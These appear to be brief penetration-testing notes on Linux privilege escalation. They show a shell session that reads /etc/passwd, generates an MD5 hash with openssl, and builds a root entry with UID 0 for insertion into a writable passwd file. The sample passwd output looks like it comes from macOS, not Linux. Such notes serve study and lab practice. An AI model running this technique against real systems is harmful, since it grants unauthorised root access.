Its all about gaining root access after you have leveled up your permission.
Win/Linux have different approach
Linux privilege checker, by sleventyelevn
- Very useful to look for writable files, kernel version, checking cron jobs and look for things that you can change at your current access level
> cat /etc/passwd ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico ... > openssl passwd --help Usage: passwd [options] [passwords] where options are -crypt standard Unix password algorithm (default) -1 MD5-based password algorithm -apr1 MD5-based password algorithm, Apache variant -salt string use provided salt -in file read passwords from file -stdin read passwords from stdin -noverify never verify when reading password from terminal -quiet no warnings -table format output as table -reverse switch table columns > openssl passwd -1 Password: Verifying - Password: $1$Ph9TQrSl$IFaPCTz0mDjhuwNtwogiv1 # add passwd to root or sudoer root:$1$Ph9TQrSl$IFaPCTz0mDjhuwNtwogiv1:0:0:System Administrator:/var/root:/bin/sh